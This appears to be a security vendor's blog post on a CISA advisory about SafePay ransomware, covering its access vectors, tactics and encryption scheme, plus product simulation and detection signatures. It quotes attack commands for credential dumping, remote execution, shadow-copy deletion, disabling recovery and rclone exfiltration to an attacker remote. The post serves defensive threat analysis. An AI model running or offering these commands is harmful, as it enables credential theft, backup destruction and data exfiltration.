CISA AA26-293A: How SafePay Ransomware Works and How to Simulate It

Key Takeaways

  • CISA advisory AA26-293A, released October 20, 2026, details SafePay ransomware TTPs and indicators of compromise.
  • Active since August 2024, SafePay has hit at least 600 victims across critical infrastructure sectors on four continents.
  • SafePay operates as a closed group, not RaaS, and often moves from access to encryption within 24 hours.
  • Initial access relies on stolen credentials and exploited vulnerabilities in Cisco ASA, SonicWall SonicOS, and Veeam Backup & Replication.
  • Attackers use Mimikatz, PsExec, legitimate RMM tools, and Rclone to steal credentials, move laterally, and exfiltrate data.
  • SafePay deletes shadow copies, resets NAS backups, and terminates security and backup services before encrypting files with the .safepay extension.
  • The Picus Platform simulates SafePay ransomware attacks so teams can validate security controls against this threat.

On October 20, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) published the joint Cybersecurity Advisory AA26-293A, "#StopRansomware: SafePay Ransomware", co-authored with U.S., German, and U.K. law enforcement partners [5]. The advisory shares SafePay tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified in investigations as recent as August 2026.

According to the advisory, SafePay has been active since August 2024, with at least 600 victims across critical infrastructure sectors in North America, South America, Europe, and Australia [5]. Unlike the dominant Ransomware-as-a-Service (RaaS) models, SafePay operates as a centralized, closed group, limiting the code leaks and law enforcement infiltration that plagued LockBit and ALPHV [1]. The group uses double extortion, stealing sensitive data before encryption, and often moves from initial access to encryption within 24 hours [2].

In this blog, we explain how SafePay ransomware works and show how you can simulate SafePay attacks to test your security controls against this threat.

How Does SafePay Ransomware Work?

Initial Access

Attackers typically gain entry through compromised credentials, often purchased from initial access brokers or obtained via brute-force attacks. These credentials are used to exploit valid accounts on VPN gateways, Remote Desktop Protocol (RDP) servers, and other edge devices. In some observed incidents, misconfigured firewalls, specifically FortiGate devices allowing local account authentication without Multi-Factor Authentication (MFA), served as the entry point.

SafePay actors also connect from IP addresses belonging to the commercial VPN provider Mullvad. To access victim networks, they use phished account profiles and exploit the following vulnerabilities in edge devices [5]:

CVE

Affected Product

Weakness

CVE-2020-3259

Cisco ASA / FTD (web services)

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CVE-2023-20269

Cisco ASA / FTD (remote access VPN)

CWE-288: Authentication Bypass Using an Alternate Path or Channel

SafePay actors also use automated scripts to exploit the following vulnerabilities on internet-exposed systems [5]:

CVE

Affected Product

Weakness

CVE-2023-27532

Veeam Backup & Replication

CWE-306: Missing Authentication for Critical Function

CVE-2024-40711

Veeam Backup & Replication

CWE-502: Deserialization of Untrusted Data

CVE-2024-40766

SonicWall SonicOS

CWE-284: Improper Access Control

Targeting Veeam servers is especially damaging because it gives the attackers a direct path to the backup infrastructure that victims would otherwise use for recovery.

Persistence and Privilege Escalation

After gaining initial access, SafePay actors establish persistence by manipulating existing accounts or creating new ones with administrative privileges. They also use ScreenConnect to maintain persistent remote access to compromised systems [5].

To escalate privileges, the malware may attempt to bypass User Account Control (UAC) using the CMSTPLUA COM interface.

Additionally, the group leverages credential theft tools such as Mimikatz to extract authentication credentials, including Kerberos tickets, which can facilitate further access to compromised environments. For example, threat actors may have used the command below:

# Dump cached Kerberos tickets from LSASS memory to .kirbi files

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

They also use dcsync.exe, a tool associated with extracting Active Directory credentials through DCSync operations [5].

These techniques allow SafePay actors to expand their privileges and maintain control over compromised systems before proceeding with lateral movement and ransomware deployment.

Discovery and Lateral Movement

Upon establishing a foothold, the attackers initiate network discovery to identify valuable assets and file shares. Observed tools include ShareFinder.ps1 (specifically the Invoke-ShareFinder command) and SharpShares.exe, both used to identify and enumerate network file shares. The group also uses NetExec, a network assessment tool that can enumerate systems, validate credentials, and support remote operations across compromised networks [5].

Lateral movement is facilitated by standard administrative utilities and Living-off-the-Land Binaries (LOLBins). The group leverages PsExec and WinRM to execute commands on remote systems [4]. A standard command to execute a process on a remote host using PsExec might look like:

PsExec.exe \\TARGET_IP -u Domain\Admin -p Password cmd.exe

SafePay actors also leverage Remote Desktop Protocol (RDP) and legitimate Remote Monitoring and Management (RMM) software to move between systems. In some incidents, attackers installed AnyDesk or TeamViewer to transfer ransomware and other software onto victim systems [5].

The use of legitimate remote administration tools makes distinguishing malicious activity from authorized IT operations especially challenging.

Defense Evasion

SafePay actively neutralizes security defenses before deploying the encryptor. This involves terminating processes associated with antivirus software, databases, and backup solutions.

The malware contains a hardcoded, encrypted list of services and processes to kill. Observed targets include [3]:

  • Processes: sql, oracle, firefox, excel, onenote, outlook, steam, notepad, msaccess, winword, encsvc, ocautoupds.
  • Services: vss, sqlsvc, msexchange, Sophos, Veeam, backup, GxVss.

To prevent recovery, the ransomware deletes Volume Shadow Copies and modifies boot configurations using the following commands [3]:

vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no

Beyond deleting Volume Shadow Copies and modifying boot configurations, SafePay actors have been observed resetting Network Attached Storage (NAS) devices containing victim backup data to factory settings, which further inhibits recovery [5].

In some incidents, attackers changed system users' passwords, preventing legitimate users from accessing their accounts [5].

Data Exfiltration

Prior to encryption, data is harvested and staged. The group targets specific file types (e.g., .docx, .pdf, .xlsx) and avoids system files. Data is archived using WinRAR and then exfiltrated. The attackers use complex command-line arguments to archive data while excluding non-essential file types [3]:

WinRAR.exe a -v5g -ed -r -tn1000d -m0 -mt5 -x*.rar -x*.JPEG -x*.RAW -x*.PSD -x*.TIFF -x*.BMP -x*.GIF -x*.JPG -x*.MOV -x*.pst -x*.FIT -x*.FIL -x*.mp4 -x*.avi -x*.mov -x*.mdb -x*.iso -x*.exe -x*.dll -x*.bak -x*.msg -x*.png -x*.zip -x*.ai -x*.7z -x*.DPM -x*.log -x*.dxf -x*.insp -x*.upd -x*.db -x*.dwg -x*.nc1 -x*.metadata -x*.dg -x*.inp -x*.dat -x*.TIFF -x*.tiger -x*.pcp -x*.rvt -x*.rws -x*.nwc -x*.tif -x*.frx -x*.dyf -x*.rcs -x*.diff C:\[redacted].rar \\[redacted]\C$\Users\

SafePay actors rely on legitimate file-transfer utilities and cloud services to exfiltrate data. The group uses WinSCP and Rclone to transfer stolen information to attacker-controlled accounts, and in some incidents leverages Microsoft OneDrive to move data through a legitimate cloud storage service [5]. A typical Rclone command for this purpose might look like:

# Copy staged data to an attacker-controlled remote storage

rclone.exe copy C:\[redacted]\ remote:[redacted] --transfers 8

SafePay actors also use Backblaze B2 cloud storage, running the b2.exe command-line utility to exfiltrate victim data [5].

By combining traditional file archiving with legitimate cloud infrastructure, the group blends data theft into normal network traffic.

Ransomware Execution and Encryption

The ransomware binary is a native Windows PE32 DLL, often disguised with fake compilation timestamps, and is typically executed via regsvr32.exe or rundll32.exe [3].

The malware refuses to run without specific flags, particularly the password argument, which is used to decode additional information in code [3]. Below are the most notable arguments it accepts:

-pass= : Mandatory. Password (32 bytes) to decode additional information in code.


-enc= : Encryption percentage (1-9). Value is multiplied by 10 (e.g., 5 = 50%).


-network: Initiates network propagation to encrypt shared folders.


-selfdelete: Deletes the malware executable after encryption completes.

The encryption scheme utilizes a hybrid approach:

  • File Encryption: Files are encrypted using the AES or ChaCha20 algorithm [3] [1].
  • Key Management: A unique symmetric key is generated for each file. This key is then encrypted using RSA or x25519 (Elliptic Curve Diffie-Hellman) and appended to the file footer.
  • File Structure: Files are encrypted in blocks (intermittent encryption) to speed up the process. A metadata block (typically 65 bytes) containing the encrypted key and validation hash is added to the end of the file.
  • Renaming: Encrypted files receive the .safepay extension.

The malware includes a "kill switch" that checks the system's language settings. If a Cyrillic keyboard layout is detected (e.g., Russian, Ukrainian, Belarusian), the malware terminates execution.

How Does Picus Simulate SafePay Ransomware Attacks?

We strongly suggest simulating SafePay Ransomware Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other ransomware variants, such as HybridPetya, Yurei, BlackNevas, and CyberVolk, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for the SafePay Ransomware Campaign:

Threat ID

Threat Name

Attack Module

46463

SafePay Ransomware Email Threat

E-mail Infiltration

58665

SafePay Ransomware Download Threat

Network Infiltration

25266

SafePay Ransomware Campaign

Windows Endpoint

33598

SharpShares Hacktool Email Threat

E-mail Infiltration

68440

SharpShares Hacktool Download Threat

Network Infiltration

Picus also provides actionable mitigation content. Picus Mitigation Library includes prevention signatures to address SafePay ransomware attacks in preventive security controls. Currently, Picus Labs has validated the following signatures for SafePay ransomware:

Security Control

Signature ID

Signature Name

Check Point NGFW

0CFB854A3

Generic.Win32.Generic.TC.28beKuPA

Check Point NGFW

0C4B1813B

Trojan.Win32.Agent.xbutvh.TC.e60bxlEd

Check Point NGFW

0EE6C9BD7

Generic.Win32.Generic.TC.67acOjZf

Cisco Firepower

1.301181.1

MALWARE-OTHER Win.Ransomware.SafePay variant download attempt

Cisco Firepower

-

W32.BBDD3620A6-95.SBX.TG

Fortigate AV

58991

W32/PossibleThreat

McAfee vNSP

0x48439400

MALWARE: File Mismatch Detected

McAfee vNSP

0x4840c900

MALWARE: Malicious File Detected by GTI

PaloAlto IPS

688221178

adware/Win32.barys.acda

PaloAlto IPS

705517717

hacktool/Win32.sharpshares.a

Snort

1.64770.1

MALWARE-OTHER Win.Ransomware.SafePay variant download attempt

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Frequently Asked Questions

What is SafePay ransomware?

SafePay is a sophisticated ransomware group that emerged in late 2024 and operates as a centralized, closed organization. The group maintains strict control over its infrastructure, negotiations, and profits rather than using a Ransomware-as-a-Service model. This strategy allows the attackers to minimize operational security risks and avoid the code leaks and law enforcement issues that have plagued other ransomware operations.

What distinguishes SafePay from other ransomware operations?

SafePay operates as a centralized and closed group rather than using a Ransomware-as-a-Service model. This structure allows the group to maintain strict control over infrastructure, negotiations, and profits while minimizing operational security risks like code leaks. This approach reduces the likelihood of law enforcement infiltration that has affected other groups such as LockBit and ALPHV.

How does SafePay typically gain initial access to a network?

The group frequently uses compromised credentials obtained from initial access brokers or brute-force attacks. These credentials facilitate entry through valid accounts on VPN gateways and Remote Desktop Protocol servers. In some cases, misconfigured edge devices, specifically FortiGate firewalls that allow local account authentication without Multi-Factor Authentication, serve as the entry point for the attackers.

What techniques does SafePay use to evade defenses and prevent recovery?

The malware actively terminates processes associated with antivirus software, databases, and backup solutions before encryption. It deletes Volume Shadow Copies and modifies boot configurations to hinder system recovery. The ransomware also contains a hardcoded list of services and processes to kill, such as those related to SQL, Sophos, and Veeam, to ensure the attack proceeds uninterrupted.

How does the encryption process work?

SafePay employs a hybrid encryption approach using AES or ChaCha20 algorithms for file encryption. A unique symmetric key is generated for each file, which is then encrypted using RSA or x25519 and appended to the file footer. The malware uses intermittent encryption to accelerate the process, and renames affected files with the .safepay extension.

Does SafePay steal data before encrypting systems?

Yes, the group utilizes a double extortion technique. Before encryption occurs, the attackers harvest and stage sensitive data, such as financial records and intellectual property. The group targets specific file formats like documents and spreadsheets while avoiding system files. This data is archived using WinRAR and exfiltrated using tools such as FileZilla, Rclone, and 7-Zip.

What tools does SafePay use for lateral movement?

After establishing a foothold, the group uses standard administrative utilities and Living-off-the-Land Binaries to move through the network. The attackers leverage tools like PsExec and WinRM to execute commands on remote systems. Network discovery is often performed using scripts like ShareFinder.ps1 to identify valuable assets and file shares across the compromised environment.

How can the Picus Security Validation Platform assist in defending against SafePay?

The Picus Security Validation Platform enables organizations to simulate SafePay Ransomware Attacks to test the effectiveness of security controls against real-life threats. The Picus Threat Library includes specific threats for the SafePay Ransomware Campaign, allowing users to obtain actionable mitigation insights. Users can also test defenses against hundreds of other ransomware variants within minutes by utilizing a 14-day free trial of the Picus Platform.

References

[1] J. Brown, “SafePay Ransomware: How a Non-RaaS Group Executes Rapid Fire Attacks,” Bitdefender Blog. Accessed: Dec. 16, 2025. [Online]. Available: https://www.bitdefender.com/en-au/blog/businessinsights/safepay-ransomware-attacks-ttps

[2] “SafePay Ransomware: An Emerging Threat in 2025,” Check Point Software. Accessed: Dec. 16, 2025. [Online]. Available: https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/safepay-ransomware/

[3] Acronis Threat Research Unit, “SafePay ransomware: The fast-rising threat targeting MSPs,” Acronis. Accessed: Dec. 16, 2025. [Online]. Available: https://www.acronis.com/en/tru/posts/safepay-ransomware-the-fast-rising-threat-targeting-msps/

[4] R. Li, J. Moutos, and T. T. Intelligence, “SafePay ransomware explained: IOCs, TTPs, and defense strategies.” Accessed: Dec. 16, 2025. [Online]. Available: https://www.threatlocker.com/blog/safepay-ransomware-explained-iocs-ttps-and-defense-strategies

[5] Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and international law enforcement partners, “#StopRansomware: SafePay Ransomware,” Joint Cybersecurity Advisory AA26-293A, Oct. 20, 2026. [Online]. Available: https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-293a

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